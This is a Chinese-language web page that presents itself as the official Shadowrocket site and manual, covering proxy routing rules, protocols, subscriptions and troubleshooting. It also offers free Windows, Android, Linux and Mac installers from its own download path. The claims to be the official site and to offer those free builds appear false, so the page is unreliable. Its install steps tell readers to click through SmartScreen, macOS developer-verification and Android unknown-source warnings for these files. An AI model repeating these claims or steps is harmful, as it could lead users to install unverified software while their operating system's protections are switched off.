iPhone / iPad
App Store $2.99 一次性
两种设备共用购买;Mac、Windows、安卓、Linux 版免费。系统要求以 App Store 页面标注为准。打开产品页后,先核对开发者和应用 ID,再确认当前账户所在地区是否可获取。换机或重装时应先检查已购项目,不要仅凭搜索结果判断购买记录是否仍在。
全平台规则代理客户端:按设备获取,导入已有订阅,再设置 Global Routing 与规则分流。
当前版本 v2.2.92 · iPhone / iPad $2.99 一次性,Mac、Windows、安卓、Linux 版免费
CAPABILITY REFERENCE
服务器能否建立连接、流量交给哪个策略、域名如何解析,是三个不同问题。按下列主题查阅对应界面,再修改具体字段;一次只调整一个变量,便于确认变化来自哪里。
RULES / GLOBAL ROUTING
在 Home 的 Global Routing 中,Config 按当前配置分流,Proxy 将适用流量交给所选代理,Direct 使用直连。需要规则生效时先选 Config,再检查规则顺序:从上到下命中即停,DOMAIN-SUFFIX 匹配域名后缀,IP-CIDR 匹配地址段,FINAL 放在末尾兜底。PROXY、DIRECT、REJECT 分别表示代理、直连与拒绝。下方只是语法片段,不是完整配置;修改前先保留原文件,并核对策略名称是否存在。
查看规则顺序与 FINAL 示例 →RULE ORDER
DOMAIN-SUFFIX,example.com,PROXY
IP-CIDR,192.168.0.0/16,DIRECT
FINAL,PROXY
ON DEMAND
On Demand 用于按设定条件请求建立或断开连接,不负责替换服务器参数,也不能修复失效订阅。先在 Home 完成一次手动连接和网页访问,再进入 Settings 查阅 On Demand 的条件。设置前明确希望在哪类网络下连接,避免多个条件互相覆盖;排查意外重连时,先暂时关闭自动触发,回到手动状态复现。条件可用性以当前系统和实际界面为准,切换 Wi-Fi 与移动网络后应分别验证。
查阅 On Demand 设置依据 →CONNECTION CONDITIONS
Settings
On Demand
Home
Global Routing
Connectivity TestPROTOCOLS
Shadowrocket 支持 Shadowsocks、VMess、VLESS、Trojan、Hysteria2、WireGuard 等协议。添加前从你的服务商处获取已有服务器信息,在 Add Server 中先选 Type,再填写该类型要求的字段。协议不同,身份凭据、传输设置和 TLS 参数也不同,不应只凭相同端口复制整组设置。导入后仍需核对 Host、Port 与相关选项;WireGuard 的密钥、地址和路由字段,应按已有配置解释,不按其他协议的字段推断。
区分协议与传输设置术语 →PROTOCOL TYPES
Shadowsocks / VMess
VLESS / Trojan
Hysteria2 / WireGuard
HTTP / SOCKS5SUBSCRIBE
订阅地址用于取得并更新一组服务器信息,单条节点链接则通常只描述一个连接条目。从你的服务商处获取链接后,先确认其用途,再选择 Subscribe、Add Server、扫码或剪贴板入口。不要把网页账户地址当作订阅地址,也不要把普通配置文件误认为节点列表。更新后检查条目是否出现、分组是否正确,再选择服务器测试;订阅更新可能覆盖远端管理的字段,长期修改应保存到独立的本地配置中。
查看四种导入入口的区别 →IMPORT ENTRIES
Subscribe
Add Server
Scan QR Code
Import from Cloud JSONCONFIG / SYNC
Config 管理配置文件及其中的 General、Rule、Hosts 等内容。开始修改前先复制一份,记录当前正在使用的文件,避免编辑了未启用的配置却误以为规则失效。远端配置更新与服务器订阅更新并非同一操作,更新前应理解可能被替换的内容。使用 iCloud 同步时,先确认设备使用相应账户且同步可用,再核对文件是否实际到达;文件同步不等于连接状态同步,也不能代替订阅有效性和本机权限检查。
查看 Settings 与配置管理参考 →CONFIG SECTIONS
General
Rule
Hosts
URL Rewrite
HTTPS DecryptionDIAGNOSTICS / DATA
Connectivity Test 和 Ping 帮助检查连通性,Data 用于观察流量,Log 与 Diagnostics 提供定位线索。延迟测试成功不代表所有网页都能访问:目标域名解析、规则命中和服务端状态仍可能影响结果。先确认普通网络可用,再检查所选服务器参数和系统时间,最后查看 DNS 与规则。Data 中的流量变化可辅助判断请求是否经过连接,但不能单独证明路由符合预期;分享日志前应移除订阅地址和身份凭据。
按顺序排查超时与连接失败 →CHECK IN ORDER
Connectivity Test
Ping
DNS
Log / Diagnostics
DataPLATFORM PACKAGES
2 档获取:iPhone / iPad 在 App Store $2.99 一次性付费;Mac、Windows、安卓、Linux 版免费。下列入口统一前往下载页,安装包由本站提供,首次打开前请阅读对应系统的放行说明。
App Store $2.99 一次性
两种设备共用购买;Mac、Windows、安卓、Linux 版免费。系统要求以 App Store 页面标注为准。打开产品页后,先核对开发者和应用 ID,再确认当前账户所在地区是否可获取。换机或重装时应先检查已购项目,不要仅凭搜索结果判断购买记录是否仍在。
免费 · Apple 芯片 / Intel
打开系统的“关于本机”,按显示的芯片或处理器选择对应安装包,不根据电脑外观和购买年份推测。首次打开若提示无法验证开发者,核对下载来源后,按下载页指引进入“隐私与安全性”处理。两个芯片版本的获取方式相同,不需要转到移动端商店。
免费
在下载页选择 Windows 64 位安装包,下载完成后再运行。若 SmartScreen 阻止启动,先确认文件来自本站,再按“更多信息 → 仍要运行”的步骤处理;受组织策略管理的设备应先确认权限。开始导入之前,准备已有订阅或服务器资料,安装完成本身不代表已经具备可用连接。
免费
下载页提供 arm64 安装包。系统提示需要安装权限时,仅对实际用于下载并打开文件的应用启用“允许安装未知应用”,完成后可回到系统设置管理该权限。应用内浏览器若阻止保存文件,可使用系统浏览器打开本站下载页,再按设备提示继续,不必反复点击同一个下载按钮。
免费 · deb / rpm / AppImage
先确认发行版、包管理器与处理器架构,再选择格式。Debian 系发行版通常选择 .deb,RPM 系发行版选择 .rpm;使用 .AppImage 时需要授予文件执行权限。不要仅通过修改扩展名转换格式。依赖缺失、桌面环境与系统权限问题,应结合终端返回的信息排查,具体命令见下载页安装放行表。
更新时,iPhone / iPad 使用 App Store 的更新机制;其他平台回到本站下载页取得新版安装包。更新前保留已有配置,更新后检查正在使用的文件和服务器选择,避免把设置变化误认为安装失败。
FIRST CONNECTION
以下以 iPhone / iPad 的界面词说明操作逻辑。前提是已经拥有自己的订阅或服务器信息;先完成一条连接,再添加自动触发、复杂规则或同步设置,排查时更容易找到原因。
从你的服务商处获取已有订阅或服务器信息,先分清资料是订阅链接、单条节点链接,还是完整配置文件。手动添加时进入 Add Server,选择 Type 后再填写 Host、Port 和相应身份参数;使用二维码时,先确认二维码承载的是连接信息,而不是账户页面。订阅导入后需要等待更新完成,确认 Home 的 SERVER 分组中出现条目,再选择准备测试的一项。
条目没有出现时,先核对链接类型和复制内容,不要立即改动 DNS。链接中多出的空格、换行或缺少的字符都可能影响导入;也不要为了排查而把完整订阅地址公开发送。保留导入前的配置,后续可以对照究竟是条目更新、参数变动,还是选错了分组。
在 Home 检查 Global Routing。配置对应 Config,按当前配置中的规则决定去向;代理对应 Proxy,使用所选代理处理适用流量;直连对应 Direct。准备使用规则分流时,选择 Config 并确认启用了预期文件。若正在定位规则问题,可以短暂使用 Proxy 做对照测试,但测试结果只能说明当时的访问差异,不能代替逐条检查规则。
规则从上到下匹配,较宽泛的规则若放在前面,可能让后面的精确规则没有机会命中。先看域名相关规则,再看地址段和最终的 FINAL。不要同时更换服务器、切换模式并重写规则;每次只做一项调整,测试后记录结果,才能区分是连接参数问题还是流量去向不符合预期。
打开连接开关。首次连接出现系统添加 VPN 配置提示时,确认操作来自 Shadowrocket,再按系统要求允许。随后运行 Connectivity Test,并打开实际需要访问的网页。系统显示已连接,只能说明相应连接状态已经建立,不代表每个域名、每种协议或所有应用请求都能成功;延迟测试与网页访问也不属于同一种验证。
如果失败,先关闭连接检查普通网络,再核对服务器参数、系统时间和订阅状态。延迟正常但网页打不开时,继续检查 DNS 与规则命中;切换网络后才出现问题时,再查看 On Demand 条件。查看 Log 或 Diagnostics 时记录出错环节,分享前移除订阅地址、服务器身份凭据和其他个人信息。
IDENTITY / PURCHASE / RESTORE
本站是 Shadowrocket 官网与官方手册。Shadowrocket(小火箭)是闭源商业应用;获取客户端、恢复购买与导入服务商资料,是需要分别处理的事项。
iPhone / iPad 用户打开指定 App Store 产品页,检查名称是否为 Shadowrocket、开发者是否为 Shadow Launch Technology Limited,并核对应用 ID 932747118。官方图标是本站页首所示的白底蓝紫描边图标。仅靠中文别称、相近图标或搜索排序,不能完成产品身份核对;应把这几项信息放在一起检查。
如果搜索出现同名条目,回到下载页给出的产品链接核对,而不是沿着相似结果继续尝试。系统要求以 App Store 页面标注为准,设备是否满足安装条件也应在该页面确认。电脑与安卓的获取入口位于本站下载页,安装包经本站 /dl/shadowrocket/ 路径提供。
中国大陆 App Store 中没有此应用。搜索不到时,先检查当前用于商店的 Apple ID 所在地区,以及产品页是否在该地区可见;地区可见性并不等于设备兼容性。需要调整账户地区时,按 Apple 账户设置中的“国家或地区”流程处理,并先阅读余额、现有订阅与付款方式等限制提示。
不要把网站界面语言、设备系统语言与商店地区混为一谈。浏览器能显示产品介绍,也不意味着当前商店账户一定可以获取。若设备上的产品页提示不兼容,应返回页面查看要求,而不是反复退出和登录账户;购买记录相关问题则应进入已购项目单独核查。
查看商店地区说明 →iPhone / iPad 在 App Store 美区 $2.99 一次性付费,两种设备共用购买,各店面以当地货币显示;Mac、Windows、安卓、Linux 版免费。已购买的用户换机或重装时,应先使用原购买账户检查已购项目,再下载对应应用。设备更换不应直接被理解为需要再次购买。
如果已购项目中没有找到,先核对当前商店账户是否与当时购买一致,再检查购买记录与产品身份。应用重新安装与配置恢复也不是同一件事:重新取得客户端后,仍需确认本地配置、同步文件和已有订阅是否齐全。其他平台重新获取安装包即可,原有资料应在更新或重装前妥善保留。
查看已购项目恢复说明 →客户端一次性买断 ≠ 线路套餐。客户端用于读取已有连接信息、执行规则并提供诊断工具,应用购买记录不包含服务商账户、服务器使用时长或订阅额度。本站不提供、不销售、不推荐节点或订阅;订阅链接与服务器信息从你的服务商处获取。连接资料的有效期、参数变化与可用状态,需要与应用本身的安装和购买分开判断。
遇到订阅无法更新时,先检查普通网络和地址完整性,再确认已有服务是否仍有效;更换客户端安装包不会自动续期订阅。整理排查信息时可以描述错误位置、所选协议和测试顺序,但不要公开完整链接或密码。清楚区分客户端、配置文件与服务商资料,可以减少重复操作,也便于定位问题。
查阅订阅、配置与规则术语 →FIELD NOTES
下面三篇按主题展开常见排查过程。先选择与现象最接近的一项:解析失败看 DNS,节点超时先核对连通性与参数,流量去向不对则检查 Global Routing 和规则顺序。不要把不同层面的设置同时重置。
延迟正常并不排除域名解析问题。文章从实际访问失败的环节入手,区分服务器连通、DNS 响应与规则去向,说明字段含义和调整依据,避免用反复更换 DNS 代替定位过程。
阅读 DNS 排查顺序 →先确认普通网络,再看延迟测试、协议参数与系统时间。对节点显示超时、连接后仍无法访问等现象分别取证,明确每一步是在检查哪一层,并在修改后使用同一个目标重新验证。
阅读连接失败检查表 →用实际语法说明规则命中即停的含义,解释精确规则与宽泛规则的排列,以及 FINAL 为什么放在末尾。复制示例前先核对已有配置中的策略名称,避免语法正确却指向了错误策略。
阅读规则排序说明 →